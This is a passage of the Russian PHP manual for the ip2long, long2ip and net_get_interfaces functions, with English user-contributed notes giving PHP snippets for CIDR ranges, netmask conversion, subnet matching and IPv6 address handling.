admin at hanzlsoft dot eu 22-Jan-2021 12:33
Regarding the ::127.0.0.1 notation

It is a very special case that needs not to be handled. This kind of notation is reserved for ipv4-compatible ipv6 address.
For example the notation ::ffff:192.0.2.128 can be easily read as "ipv6 address that maps to ipv4 address 192.0.2.128"

However as RFC says:
https://tools.ietf.org/html/rfc5156#page-2

2.2.  IPv4-Mapped Addresses

   ::FFFF:0:0/96 are the IPv4-mapped addresses [RFC4291].  Addresses
   within this block should not appear on the public Internet.

2.3.  IPv4-Compatible Addresses

   ::<ipv4-address>/96 are the IPv4-compatible addresses [RFC4291].
   These addresses are deprecated and should not appear on the public
   Internet.

This means that you only need to handle this kind of notation if you need to be compatible with private IP's
tobias 06-May-2016 05:04
Oh my god:

0000:0000:0000:0000:0000:0000:0127:2258
becomes '"X.

Do not forget to escape it
dave at php dot net 06-Mar-2015 04:07
If you are receiving an "Unrecognized address" error for an IPv6 address, it's possible your version of PHP has not been compiled with IPv6 support.

To check, load up phpinfo(); and look to see if "IPv6 Support" is set to "disabled".
TuRn3r 02-Jun-2014 03:26
Be careful, address with leading 0 return false.

Example :
<?php
inet_pton('172.27.1.04'); // return false
inet_pton('172.27.1.4') ;// return the good result
?>
francis dot besset at gmail dot com 15-Jul-2011 01:45
It is possible to verify if PHP was compiled with --disable-ipv6 option by AF_INET6 constant.

<?php

if (defined('AF_INET6')) {
  echo "PHP was compiled without --disable-ipv6 option";
} else {
  echo "PHP was compiled with --disable-ipv6 option";
}

?>
strata_ranger at hotmail dot com 13-Sep-2009 10:51
If the input string is not a readable IP address, inet_pton() generates an E_WARNING and returns FALSE.  The same is true for inet_ntop().

Also, inet_pton() does not recognize netmask notation (e.g: "1.2.3.4/24" or "1:2::3:4/64") in the input string.  This differs from how some database systems (like postgreSQL) support IP address types, so if you need that sort of functionality when processing IP addresses in PHP you'll have to write it in yourself.

A rough example:

<?php

// Sample IP addresses
$ipaddr = '1.2.3.4/24'; // IPv4 with /24 netmask
$ipaddr = '1:2::3:4/64'; // IPv6 with /64 netmask

// Strip out the netmask, if there is one.
$cx = strpos($ipaddr, '/');
if ($cx)
{
  $subnet = (int)(substr($ipaddr, $cx+1));
  $ipaddr = substr($ipaddr, 0, $cx);
}
else $subnet = null; // No netmask present

// Convert address to packed format
$addr = inet_pton($ipaddr);

// Let's display it as hexadecimal format
foreach(str_split($addr) as $char) echo str_pad(dechex(ord($char)), 2, '0', STR_PAD_LEFT);
echo "<br />\n";

// Convert the netmask
if (is_integer($subnet))
{
  // Maximum netmask length = same as packed address
  $len = 8*strlen($addr);
  if ($subnet > $len) $subnet = $len;

  // Create a hex expression of the subnet mask
  $mask  = str_repeat('f', $subnet>>2);
  switch($subnet & 3)
  {
  case 3: $mask .= 'e'; break;
  case 2: $mask .= 'c'; break;
  case 1: $mask .= '8'; break;
  }
  $mask = str_pad($mask, $len>>2, '0');

  // Packed representation of netmask
  $mask = pack('H*', $mask);
}

// Display the netmask as hexadecimal
foreach(str_split($mask) as $char) echo str_pad(dechex(ord($char)), 2, '0', STR_PAD_LEFT);

?>
eric at vyncke org 18-Jul-2007 10:52
Not so easy in the function below... It is not handling the case of '::' which can happen in an IPv6 and represents any number of 0, addresses could be as simple as ff05::1
me at diogoresende dot net 16-May-2006 02:34
If you want to use the above function you should test for ':' character before '.'. Meaning, you should check if it's an ipv6 address before checking for ipv4.
Why? IPv6 allows this type of notation:

::127.0.0.1

If you check for '.' character you will think this is an ipv4 address and it will fail.


Конвертирует строку, содержащую IPv4-адрес в целое число

  • « inet_pton
  • long2ip »
  • PHP Manual
  • Сетевые функции
  • Конвертирует строку, содержащую IPv4-адрес в целое число

ip2long

(PHP 4, PHP 5, PHP 7, PHP 8)

ip2long — Конвертирует строку, содержащую IPv4-адрес в целое число

Описание

ip2long(string $ip): int|false

Функция ip2long() преобразует IPv4-адрес сети Интернет из стандартного формата (строка с точками) в целое число.

Функция ip2long() также будет работать с неполными IP-адресами. Смотрите » http://ps-2.kev009.com/wisclibrary/aix52/usr/share/man/info/en_US/a_doc_lib/libs/commtrf2/inet_addr.htm для более подробной информации.

Список параметров

ip

Адрес в стандартном формате.

Возвращаемые значения

Возвращает целое число или false, если параметр ip содержит ошибку.

Примеры

Пример #1 Пример использования ip2long()

<?php
$ip = gethostbyname('www.example.com');
$out = "Следующие URL эквивалентны:<br />\n";
$out .= 'http://www.example.com/, http://' . $ip . '/, и http://' . sprintf("%u", ip2long($ip)) . "/<br />\n";
echo $out;
?>

Пример #2 Отображение IP-адресов

Второй пример показывает как выводить сконвертированные адреса с помощью функции printf():

<?php
$ip = gethostbyname('www.example.com');
$long = ip2long($ip);

if ($long == -1 || $long === FALSE) {
echo 'Неверный IP-адрес, попробуйте ещё раз';
} else {
echo $ip . "\n"; // 192.0.34.166
echo $long . "\n"; // -1073732954
printf("%u\n", ip2long($ip)); // 3221234342
}
?>

Примечания

Замечание:

Ввиду того, что тип PHP int является знаковым, и на 32-битных системах многие IP-адреса будут представлены в виде отрицательных чисел, необходимо использовать "%u" в функции sprintf() или printf() для получения IP-адреса в строковом беззнаковом виде.

Замечание:

Функция ip2long() возвратит -1 для IP 255.255.255.255 в 32-битных системах из-за целочисленного переполнения.

Смотрите также

  • long2ip() - Конвертирует целое число в IPv4-адрес
  • sprintf() - Возвращает отформатированную строку

User Contributed Notes

schat 10-May-2019 11:20
sorry i just wrote wrong, sorry. this is the right one. thanks.

<?php
/**
 * convert cidr to ip range
 * From: <https://github.com/www-schat-top>
 * @param  string $cidr "192.168.0.0/23"
 * @return array  ["192.168.0.0", "192.168.1.255"]
 */
function cidr2range($cidr){
   list( $subnet, $mask ) = explode( '/', $cidr );
   return [$subnet, long2ip(ip2long( $subnet ) | (pow(2,( 32 - $mask ))-1))];
}
?>
Mike B 14-Oct-2017 12:16
<?php
/*
     Given an IP address and Subnet Mask,
     determine the subnet address, broadcast address, and wildcard mask
     by using bitwise operators

     ref:  http://php.net/manual/en/language.operators.bitwise.php
*/

$ip='10.10.10.7';
$mask='255.255.255.0';
$wcmask=long2ip( ~ip2long($mask) );
$subnet=long2ip( ip2long($ip) & ip2long($mask) );
$bcast=long2ip( ip2long($ip) | ip2long($wcmask) );
echo "Given address $ip and mask $mask, \n" .
"the subnet is $subnet and broadcast is $bcast \n" .
"with a wildcard mask of $wcmask";

/*
Given address 10.10.10.7 and mask 255.255.255.0,
the subnet is 10.10.10.0 and broadcast is 10.10.10.255
with a wildcard mask of 0.0.0.255
*/

?>
alex at alex-at dot ru 14-Sep-2016 08:52
Here are my versions of prefix to mask and mask to prefix conversions. You can remove first lines with if/preg of each function if you don't want sanity precheck.

    function prefix2Mask($prefix)
    {
        if (!preg_match('#^(?:0*[0-2]?[0-9]|3[0-2])$#', $prefix)) return false; # wrong prefix
        return long2ip(0xffffffff << (32 - $prefix));
    }

    function mask2Prefix($mask)
    {
        if (!preg_match('#^(?:(?:[0-1][0-9][0-9]|2[0-4][0-9]|25[0-5]|[0-9][0-9]|[0-9])\.){3}'.
            '(?:[0-1][0-9][0-9]|2[0-4][0-9]|25[0-5]|[0-9][0-9]|[0-9])$#', $mask))
            return false; # wrong mask
        $m2p = str_pad(substr(decbin(ip2long($mask)), -32, 32), 32, '0', STR_PAD_LEFT);
        if (!preg_match('#^(1*)0*$#', $m2p, $m)) return false; # wrong mask
        return strlen($m[1]);
    }
Karl Rixon 18-Sep-2014 02:01
The manual states that "ip2long() will also work with non-complete IP addresses", however this is system-dependant so cannot be relied upon. For example, on my system ip2long() will return FALSE for incomplete addresses:

<?php
var_dump(ip2long("255.255")); // bool(false)
?>

This is because ip2long will use inet_pton if available, which does not support non-complete addresses. If inet_pton is not available on your system, inet_addr will be used and incomplete addresses will work as stated.
oo dot para at gmail dot com 08-Jan-2014 10:30
If you want to validate IPs using this function, please be careful:
The function filter_var should be used instead for validating IPs.

<?php
$ip = '192.168.0355.24';
var_dump(ip2long($ip) !== false); // true (expected false)
var_dump(filter_var($ip, FILTER_VALIDATE_IP) !== false); // false

$ip = '192.168.355.24';
var_dump(ip2long($ip) !== false); // false
var_dump(filter_var($ip, FILTER_VALIDATE_IP) !== false); // false
?>
rasmus at mindplay dot dk 27-Aug-2013 02:54
As pointed out by others, this function's return value is not consistent on 32 and 64-bit platforms.

Your best bet for consistent behavior across 32/64-bit platforms (and Windows) is the lowest common denominator: force the return value of ip2long() into a signed 32-bit integer, e.g.:

    var_dump(unpack('l', pack('l', ip2long('255.255.255.0'))));

This looks idiotic, but it gives you a consistent signed integer value on all platforms.

(the arguments to both pack() and unpack() are the lower-case letter "L", not the number "1", in case it looks that way on your screen...)
admin at wudimei dot com 04-Jul-2012 02:42
<?php

/**
  *
  *get the first ip and last ip from cidr(network id and mask length)
  * i will integrate this function into "Rong Framework" :)
  * @author admin@wudimei.com
  * @param string $cidr 56.15.0.6/16 , [network id]/[mask length]
  * @return array $ipArray = array( 0 =>"first ip of the network", 1=>"last ip of the network" );
  *                         Each element of $ipArray's type is long int,use long2ip( $ipArray[0] ) to convert it into ip string.
  * example:
  * list( $long_startIp , $long_endIp) = getIpRange( "56.15.0.6/16" );
  * echo "start ip:" . long2ip( $long_startIp );
  * echo "<br />";
  * echo "end ip:" . long2ip( $long_endIp );
  */

  function getIpRang(  $cidr) {

   list($ip, $mask) = explode('/', $cidr);

   $maskBinStr =str_repeat("1", $mask ) . str_repeat("0", 32-$mask );      //net mask binary string
   $inverseMaskBinStr = str_repeat("0", $mask ) . str_repeat("1",  32-$mask ); //inverse mask

   $ipLong = ip2long( $ip );
   $ipMaskLong = bindec( $maskBinStr );
   $inverseIpMaskLong = bindec( $inverseMaskBinStr );
   $netWork = $ipLong & $ipMaskLong;

   $start = $netWork+1;//????? ,ignore network ID(eg: 192.168.1.0)

   $end = ($netWork | $inverseIpMaskLong) -1 ; //?????? ignore brocast IP(eg: 192.168.1.255)
   return array( $start, $end );
}
?>
replay111 at tlen dot pl 26-May-2012 01:28
Hi,
based on examples above I have mixed class IPFilter with netMatch function wich gives me complete class for IP4 check including CIDR IP format:

<?php
class IP4Filter {

    private static $_IP_TYPE_SINGLE = 'single';
    private static $_IP_TYPE_WILDCARD = 'wildcard';
    private static $_IP_TYPE_MASK = 'mask';
    private static $_IP_TYPE_CIDR = 'CIDR';
    private static $_IP_TYPE_SECTION = 'section';
    private $_allowed_ips = array();

    public function __construct($allowed_ips) {
        $this->_allowed_ips = $allowed_ips;
    }

    public function check($ip, $allowed_ips = null) {
        $allowed_ips = $allowed_ips ? $allowed_ips : $this->_allowed_ips;

        foreach ($allowed_ips as $allowed_ip) {
            $type = $this->_judge_ip_type($allowed_ip);
            $sub_rst = call_user_func(array($this, '_sub_checker_' . $type), $allowed_ip, $ip);

            if ($sub_rst) {
                return true;
            }
        }

        return false;
    }

    private function _judge_ip_type($ip) {
        if (strpos($ip, '*')) {
            return self :: $_IP_TYPE_WILDCARD;
        }

        if (strpos($ip, '/')) {
            $tmp = explode('/', $ip);
            if (strpos($tmp[1], '.')) {
                return self :: $_IP_TYPE_MASK;
            } else {
                return self :: $_IP_TYPE_CIDR;
            }
        }

        if (strpos($ip, '-')) {
            return self :: $_IP_TYPE_SECTION;
        }

        if (ip2long($ip)) {
            return self :: $_IP_TYPE_SINGLE;
        }

        return false;
    }

    private function _sub_checker_single($allowed_ip, $ip) {
        return (ip2long($allowed_ip) == ip2long($ip));
    }

    private function _sub_checker_wildcard($allowed_ip, $ip) {
        $allowed_ip_arr = explode('.', $allowed_ip);
        $ip_arr = explode('.', $ip);
        for ($i = 0; $i < count($allowed_ip_arr); $i++) {
            if ($allowed_ip_arr[$i] == '*') {
                return true;
            } else {
                if (false == ($allowed_ip_arr[$i] == $ip_arr[$i])) {
                    return false;
                }
            }
        }
    }

    private function _sub_checker_mask($allowed_ip, $ip) {
        list($allowed_ip_ip, $allowed_ip_mask) = explode('/', $allowed_ip);
        $begin = (ip2long($allowed_ip_ip) & ip2long($allowed_ip_mask)) + 1;
        $end = (ip2long($allowed_ip_ip) | (~ ip2long($allowed_ip_mask))) + 1;
        $ip = ip2long($ip);
        return ($ip >= $begin && $ip <= $end);
    }

    private function _sub_checker_section($allowed_ip, $ip) {
        list($begin, $end) = explode('-', $allowed_ip);
        $begin = ip2long($begin);
        $end = ip2long($end);
        $ip = ip2long($ip);
        return ($ip >= $begin && $ip <= $end);
    }

    private function _sub_checker_CIDR($CIDR, $IP) {
        list ($net, $mask) = explode('/', $CIDR);
        return ( ip2long($IP) & ~((1 << (32 - $mask)) - 1) ) == ip2long($net);
    }

}
?>

For me this code works great, so I wanna thank to all You guys!!!
Aleksey Kuznetsov 07-May-2012 05:30
Unfortunately sprintf('%u', ...) is low and returns string representation of integer value instead of integer.
Here is a function I use to convert IP to mySQL-compatible signed integer:

function ip2int($ip) {
  if (!$r = ip2long($ip)) return 0; // we want 0 instead of false, even in case of bad IP
  if ($r > 2147483647)
      $r-= 4294967296;
  return $r; // ok
}
pink at pink dot art dot pl 26-Apr-2012 01:09
Be aware when you're running 64bit system, ip2long will result 64 bit integer which doesn't fit in MySQL INT, you can use BIGINT or INT UNSIGNED because on 64bit systems ip2long will never return negative integer. See also https://bugs.php.net/bug.php?id=54338
PandoraBox2007 at gmail dot com 03-Dec-2011 07:06
Universal ip4/ip6

<?php
// encoded --
function encode_ip ($ip)
{
    $d = explode('.', $ip);
    if (count($d) == 4) return sprintf('%02x%02x%02x%02x', $d[0], $d[1], $d[2], $d[3]);

    $d = explode(':', preg_replace('/(^:)|(:$)/', '', $ip));
    $res = '';
    foreach ($d as $x)
        $res .= sprintf('%0'. ($x == '' ? (9 - count($d)) * 4 : 4) .'s', $x);
    return $res;
}

// decoded
function decode_ip($int_ip)
{
    function hexhex($value) { return dechex(hexdec($value)); };

    if (strlen($int_ip) == 32) {
        $int_ip = substr(chunk_split($int_ip, 4, ':'), 0, 39);
        $int_ip = ':'. implode(':', array_map("hexhex", explode(':',$int_ip))) .':';
        preg_match_all("/(:0)+/", $int_ip, $zeros);
        if (count($zeros[0]) > 0) {
            $match = '';
            foreach($zeros[0] as $zero)
                if (strlen($zero) > strlen($match))
                    $match = $zero;
            $int_ip = preg_replace('/'. $match .'/', ':', $int_ip, 1);
        }
        return preg_replace('/(^:([^:]))|(([^:]):$)/', '$2$4', $int_ip);
    }
    $hexipbang = explode('.', chunk_split($int_ip, 2, '.'));
    return hexdec($hexipbang[0]). '.' . hexdec($hexipbang[1]) . '.' . hexdec($hexipbang[2]) . '.' . hexdec($hexipbang[3]);
}
?>

DB:
`user_ip` varchar(32) DEFAULT NULL
joe at joeceresini dot com 24-Nov-2009 05:45
A quick method to convert a netmask (ex: 255.255.255.240) to a cidr mask (ex: /28):

<?php
function mask2cidr($mask){
  $long = ip2long($mask);
  $base = ip2long('255.255.255.255');
  return 32-log(($long ^ $base)+1,2);

  /* xor-ing will give you the inverse mask,
      log base 2 of that +1 will return the number
      of bits that are off in the mask and subtracting
      from 32 gets you the cidr notation */

}
?>
f dot wiessner at smart-weblications dot net 07-Nov-2009 06:12
Here some working ip2long6 and long2ip6 functions - keep in mind that this needs php gmp-lib:

<?php

$ipv6 = "2001:4860:a005::68";

function ip2long6($ipv6) {
  $ip_n = inet_pton($ipv6);
  $bits = 15; // 16 x 8 bit = 128bit
  while ($bits >= 0) {
    $bin = sprintf("%08b",(ord($ip_n[$bits])));
    $ipv6long = $bin.$ipv6long;
    $bits--;
  }
  return gmp_strval(gmp_init($ipv6long,2),10);
}

function long2ip6($ipv6long) {

  $bin = gmp_strval(gmp_init($ipv6long,10),2);
  if (strlen($bin) < 128) {
    $pad = 128 - strlen($bin);
    for ($i = 1; $i <= $pad; $i++) {
    $bin = "0".$bin;
    }
  }
  $bits = 0;
  while ($bits <= 7) {
    $bin_part = substr($bin,($bits*16),16);
    $ipv6 .= dechex(bindec($bin_part)).":";
    $bits++;
  }
  // compress

  return inet_ntop(inet_pton(substr($ipv6,0,-1)));
}

print $ipv6long =  ip2long6($ipv6)."\n";
print $ipv6 = long2ip6($ipv6long)."\n";

?>

outputs:

42541956150894553250710573749450571880
2001:4860:a005::68
david dot schueler at tel-billig dot de 27-Oct-2009 06:41
To get the network adress out of the broadcast adress and netmask just to an AND on it:

<?php
// simple example
$bcast = ip2long("192.168.178.255");
$smask = ip2long("255.255.255.0");
$nmask = $bcast & $smask;
echo long2ip($nmask); // Will give 192.168.178.0
?>

With this example you are able to check if a given host is in your own local net or not (on linux):

<?php
/**
 * Check if a client IP is in our Server subnet
 *
 * @param string $client_ip
 * @param string $server_ip
 * @return boolean
 */
function clientInSameSubnet($client_ip=false,$server_ip=false) {
    if (!$client_ip)
        $client_ip = $_SERVER['REMOTE_ADDR'];
    if (!$server_ip)
        $server_ip = $_SERVER['SERVER_ADDR'];
    // Extract broadcast and netmask from ifconfig
    if (!($p = popen("ifconfig","r"))) return false;
    $out = "";
    while(!feof($p))
        $out .= fread($p,1024);
    fclose($p);
    // This is because the php.net comment function does not
    // allow long lines.
    $match  = "/^.*".$server_ip;
    $match .= ".*Bcast:(\d{1,3}\.\d{1,3}i\.\d{1,3}\.\d{1,3}).*";
    $match .= "Mask:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/im";
    if (!preg_match($match,$out,$regs))
        return false;
    $bcast = ip2long($regs[1]);
    $smask = ip2long($regs[2]);
    $ipadr = ip2long($client_ip);
    $nmask = $bcast & $smask;
    return (($ipadr & $smask) == ($nmask & $smask));
}
?>
jwadhams1 at yahoo dot com 28-Jul-2009 03:41
I wanted to build on what kaputt and spinyn contributed in a way that I think is a little more intuitive (e.g., let sprintf do all the binary conversion and padding, and let substr_compare do the trimming and comparing):

<?php
function ip_in_network($ip, $net_addr, $net_mask){
    if($net_mask <= 0){ return false; }
        $ip_binary_string = sprintf("%032b",ip2long($ip));
        $net_binary_string = sprintf("%032b",ip2long($net_addr));
        return (substr_compare($ip_binary_string,$net_binary_string,0,$net_mask) === 0);
}

ip_in_network("192.168.2.1","192.168.2.0",24); //true
ip_in_network("192.168.6.93","192.168.0.0",16); //true
ip_in_network("1.6.6.6","128.168.2.0",1); //false
?>
spinyn at gmail dot com 16-Apr-2009 07:51
Just want to add a comment to kaputt's valuable contribution to the task of matching hosts to ip ranges, efficiently.  The script works fine if the binary representation of the ip involves no leading zeros.  Unfortunately, the way decbin() seems to work, leading zeros in the binary representation of the first ip quad get dropped.  That is a serious matter if you're trying to match all possible candidates in the checklist.  In those cases the leading zeros need to be added back to get accurate matches for values in the first quad between 0-127 (or the binary equivalent, 0-01111111).

The solution I came up with to address this issue was the following function:

<?php
function addLeadingZero($ip) {
   if (($result = (32 - strlen($ip))) > 0)
      return str_repeat("0", $result).$ip;
}
?>
chrisp-phpnet at inventivedingo dot com 30-May-2008 07:36
I had a problem with calling this function with REMOTE_ADDR on my lighttpd web server. Turned out that IPv6 was installed on this server, so even though REMOTE_ADDR was an IPv4 address, it was being formatted using IPv6's IPv4 compatibility mode. For example, 10.0.0.1 was becoming ::ffff:10.0.0.1, which caused iplong to report the address as invalid instead of parsing it correctly.

The correct fix would of course be to update my infrastructure so that it's properly IPv6-compatible; but in the context of my particular situation, this would involve a lot of re-engineering. So in the meantime, I worked around the issue using this quick and dirty hack:

<?php
    $ip = htmlspecialchars($_SERVER['REMOTE_ADDR']);
    if (strpos($ip, '::') === 0) {
        $ip = substr($ip, strrpos($ip, ':')+1);
    }
    $host = ip2long($ip);
?>

Ugly but functional.
jpmarcotte at gmail dot com 20-May-2008 03:10
In using a combination of jbothe's code below and some of the "$mask = 0xFFFFFFFF << (32 - $bits)" type code, I ran into an error with some later calculations on a 64 bit machine.

Keep in mind that when you're analyzing numbers meant to be treated as 32 bits wide (such as IP addresses), you may want to truncate them. Without relying on other libraries, it was simple enough to follow any calculations that may end with different results on a 64 bit machine with " & 0xFFFFFFFF"

Though in many cases, it seems like it might be simpler to just use "~0 << ..." for initial shifting to create the network mask instead of "0xFFFFFFFF << ...". I don't know that it guarantees further operations to work as expected though.
php dot net at kenman dot net 01-Apr-2008 10:02
To nate, who advises that there is no reason to use an unsigned version of the IP in a MySQL DB:

I think it would depend on your application, but personally, I find it useful to store IP's as unsigneds since MySQL has 2 native functions, INET_ATON() and INET_NTOA(), which work the same as ip2long()/long2ip() _except_ that they generate the unsigned counterpart. So if you want, you could do:

-- IANA Class-B reserved/private
SELECT * FROM `servers`
WHERE `ip` >= INET_ATON('192.168.0.0')
AND `ip` <= INET_ATON('192.168.255.255');

In my current application, I find it easier to use the MySQL built-ins than the PHP counter-parts.

In case you're curious as to the names ATON and NTOA:

ATON = address to number aka. ip2long
NTOA = number to address aka. long2ip
ir on ir id is at gm ai ld ot co m 20-Oct-2007 11:54
Keep in mind that storing IP addresses inside of your database as integers (rather than 15 character strings in decimal format, or 8 character strings in hex format) is hundreds of times faster.

Take the typical case of a MySQL database doing a search for an IP address on thousands (or millions!) of rows; you're either doing a string compare for each entry, or an integer equation. If you do your indexes correctly, your lookups should be literally 100x faster using an INT rather than a VARCHAR.

Also note that an integer doesn't need to be escaped when passed to a database. :)
one tiger one at gee mail dot comm 02-Apr-2007 07:49
I wrote a small function to validate a netmask (We have a form where the netmask of a given server is entered in, and I wanted to make sure it was valid). Hope this is useful.

<?php
// Netmask Validator //
function checkNetmask($ip) {
 if (!ip2long($ip)) {
  return false;
 } elseif(strlen(decbin(ip2long($ip))) != 32 && ip2long($ip) != 0) {
  return false;
 } elseif(ereg('01',decbin(ip2long($ip))) || !ereg('0',decbin(ip2long($ip)))) {
  return false;
 } else {
  return true;
 }
}
?>
laacz at php dot net 16-Feb-2007 01:06
Just to save you some time.

Beware that octets in IP address are being treated as numbers. So, '10.0.0.11' is not equal to '10.0.0.011'. '011' is octal number (base 8), so it converts to '9'. You can even go further and see that '10.0.0.0xa' also works (equals to '10.0.0.16').

This is not PHP issue, though.
Ian B 24-Dec-2006 04:22
NOTE: ip2long() should NOT be used for CIDR calculation.
Instead, you should use something like the following:

<?php
        /* get the base and the bits from the ban in the database */
        list($base, $bits) = explode('/', $CIDR);

        /* now split it up into it's classes */
        list($a, $b, $c, $d) = explode('.', $base);

        /* now do some bit shfiting/switching to convert to ints */
        $i = ($a << 24) + ($b << 16) + ($c << 8) + $d;
        $mask = $bits == 0 ? 0 : (~0 << (32 - $bits));

        /* here's our lowest int */
        $low = $i & $mask;

        /* here's our highest int */
        $high = $i | (~$mask & 0xFFFFFFFF);

        /* now split the ip were checking against up into classes */
        list($a, $b, $c, $d) = explode('.', $iptocheck);

        /* now convert the ip we're checking against to an int */
        $check = ($a << 24) + ($b << 16) + ($c << 8) + $d;

        /* if the ip is within the range, including
      highest/lowest values, then it's witin the CIDR range */
        if ($check >= $low && $check <= $high)
            return 1;
       else
            return 0;
?>

This means that you should check to see if the IP
address is of the correct format each time.
ken at expitrans dot com 31-Aug-2005 03:31
Below is a merged form of all various notes, and a better (and correct) network matching function.

<?php

function net_match($network, $ip) {
      // determines if a network in the form of 192.168.17.1/16 or
      // 127.0.0.1/255.255.255.255 or 10.0.0.1 matches a given ip
      $ip_arr = explode('/', $network);
      $network_long = ip2long($ip_arr[0]);

      $x = ip2long($ip_arr[1]);
      $mask =  long2ip($x) == $ip_arr[1] ? $x : 0xffffffff << (32 - $ip_arr[1]);
      $ip_long = ip2long($ip);

      // echo ">".$ip_arr[1]."> ".decbin($mask)."\n";
      return ($ip_long & $mask) == ($network_long & $mask);
}

echo net_match('192.168.17.1/16', '192.168.15.1')."\n"; // returns true
echo net_match('127.0.0.1/255.255.255.255', '127.0.0.2')."\n"; // returns false
echo net_match('10.0.0.1', '10.0.0.1')."\n"; // returns true

?>
01-Dec-2004 06:06
I re-wrote the functions from jbothe at hotmail dot com as a little exercise in OO and added a couple of extra functions.

<?php

 //--------------
// IPv4 class
class ipv4
{
  var $address;
  var $netbits;

   //--------------
  // Create new class
  function ipv4($address,$netbits)
  {
    $this->address = $address;
    $this->netbits = $netbits;
  }

   //--------------
  // Return the IP address
  function address() { return ($this->address); }

   //--------------
  // Return the netbits
  function netbits() { return ($this->netbits); }

   //--------------
  // Return the netmask
  function netmask()
  {
    return (long2ip(ip2long("255.255.255.255")
           << (32-$this->netbits)));
  }

   //--------------
  // Return the network that the address sits in
  function network()
  {
    return (long2ip((ip2long($this->address))
           & (ip2long($this->netmask()))));
  }

   //--------------
  // Return the broadcast that the address sits in
  function broadcast()
  {
    return (long2ip(ip2long($this->network())
           | (~(ip2long($this->netmask())))));
  }

   //--------------
  // Return the inverse mask of the netmask
  function inverse()
  {
    return (long2ip(~(ip2long("255.255.255.255")
           << (32-$this->netbits))));
  }

}

  $ip = new ipv4("192.168.2.1",24);
  print "Address: $ip->address()\n";
  print "Netbits: $ip->netbits()\n";
  print "Netmask: $ip->netmask()\n";
  print "Inverse: $ip->inverse()\n";
  print "Network: $ip->network()\n";
  print "Broadcast: $ip->broadcast()\n";
?>


Конвертирует целое число в IPv4-адрес

  • « ip2long
  • net_get_interfaces »
  • PHP Manual
  • Сетевые функции
  • Конвертирует целое число в IPv4-адрес

long2ip

(PHP 4, PHP 5, PHP 7, PHP 8)

long2ip — Конвертирует целое число в IPv4-адрес

Описание

long2ip(int $ip): string|false

Функция long2ip() преобразует из представления в виде целого числа интернет-адреса в формат с точками (то есть aaa.bbb.ccc.ddd).

Список параметров

ip

Правильное представление адреса в виде целого числа.

Возвращаемые значения

Возвращает IP-адрес Интернета в виде строки или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.1.0 | Тип параметра ip изменён с типа string на тип int.

Примечания

Замечание:

На 32-битных архитектурах преобразование строки (string) с числами в целочисленное (int) значение будет некорректно для чисел, больших PHP_INT_MAX.

Смотрите также

  • ip2long() - Конвертирует строку, содержащую IPv4-адрес в целое число

User Contributed Notes

Rolf 02-Apr-2021 03:53
an Anonymous wrote several years ago that you should cast the parameter to float to make sure that you get the right result on 32-bit machines. That probably never worked.

But the idea is on a good track: to convert a bitstring into an ip, use

$ip = long2ip((int)bindec($bits));

This works on 32- and 64-bit machines.
steve at computurn dot com 30-Oct-2018 01:38
For a 32bit safe long2ip, which can accept string or signed integer input, try:

  function safelong2ip($long) {
    $binStr = sprintf("%032s", decbin((float)$long));
    if (strlen($binStr) != 32) {
      throw new Exception("Invalid IPv4 subnet!");
    }

    $ipArr = [];
    for ($i = 0; $i < 4; ++$i) {
      $ipArr[] = bindec(substr($binStr, $i*8, 8));
    }

    return implode('.', $ipArr);
  }
klawd at kamundo dot de 25-Jan-2012 10:34
Use these two functions to convert from and to numbers compatible to MySQLs INET_ATON and INET_NTOA
<?php
    function convertIpToString($ip)
    {
        $long = 4294967295 - ($ip - 1);
        return long2ip(-$long);
    }
    function convertIpToLong($ip)
    {
        return sprintf("%u", ip2long($ip));
    }
?>
Anonymous 05-Aug-2011 09:38
If you're running a 32 bit machine you can get wrong IPs. To prevent from this just cast to float e.g.

<?php
long2Ip32bit($ip){
   return long2ip((float)$ip);
}
?>
php dot net at davidstockton dot com 03-Sep-2008 10:28
Beware when processing values that are invalid, you may get values that are different based on the OS.  For instance:

$ip = long2ip(pow(2,32)+1024);

On windows you get 255.255.255.255.  On linux it's 0.0.4.0.

So it seems it would be important to make sure the long you're converting is in the correct range.
Gabriel Malca 17-Mar-2006 05:01
If the function doesn't exist:

<?
    if (!function_exists("long2ip")) {
        function long2ip($long) {
            // Valid range: 0.0.0.0 -> 255.255.255.255
            if ($long < 0 || $long > 4294967295) return false;
            $ip = "";
            for ($i=3;$i>=0;$i--) {
                $ip .= (int)($long / pow(256,$i));
                $long -= (int)($long / pow(256,$i))*pow(256,$i);
                if ($i>0) $ip .= ".";
            }
            return $ip;
        }
    }
?>
Tom Crosley 16-Feb-2003 01:13
I wanted to be able to pass an IP address in a URL always as an unsigned int.  I then converted it back as shown below:

$ip_addr = "192.168.100.25";  // example IP address that converts to neg #

$s32int = ip2long($ip_addr);

$us32str = sprintf("%u",$s32int);               // convert to unsigned string

// display orig IP address, signed 32 bit version, unsigned 32 bit ver,
// finally converted back to IP addr

printf("%s ,%d, %s, %s", $ip_addr, $s32int, $us32str,
         long2ip(-(4294967296-$us32str)));

// tested on Linux/Apache PHP 4.1.2


Получает сетевые интерфейсы

  • « long2ip
  • openlog »
  • PHP Manual
  • Сетевые функции
  • Получает сетевые интерфейсы

net_get_interfaces

(PHP 7 >= 7.3, PHP 8)

net_get_interfaces — Получает сетевые интерфейсы

Описание

net_get_interfaces(): array|false

Возвращает перечисление сетевых интерфейсов (адаптеров) на локальном компьютере.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ассоциативный массив (array), где ключ - это имя интерфейса, а значение - ассоциативный массив атрибутов интерфейса, или false в случае возникновения ошибки.

Каждый ассоциативный массив интерфейса содержит:

Interface attributes
Имя | Описание
description | Необязательное строковое значение для описания интерфейса. Только Windows.
mac | Необязательное строковое значение для MAC-адреса интерфейса. Только Windows.
mtu | Целочисленное значение для максимальной единицы передачи (MTU) интерфейса. Только Windows.
unicast | Массив ассоциативных массивов, смотрите ниже атрибуты одноадресной рассылки.
up | Логический статус (включён/выключен) интерфейса.

Одноадресные атрибуты
Имя | Описание
flags | Целочисленное значение.
family | Целочисленное значение.
address | Строковое значение адреса в IPv4 или IPv6.
netmask | Строковое значение маски сети в IPv4 или IPv6.

Ошибки

Выдаёт ошибку уровня E_WARNING в случае возникновения ошибки при получении информации об интерфейсе.

User Contributed Notes

Anonymous 01-Jan-2022 10:00
The 'unicast' might also contain the 'broadcast' attribute, which is not listed above. Tested on linux with PHP 8.


Открывает соединение к системному журналу

  • « net_get_interfaces
  • pfsockopen »
  • PHP Manual
  • Сетевые функции
  • Открывает соединение к системному журналу

openlog

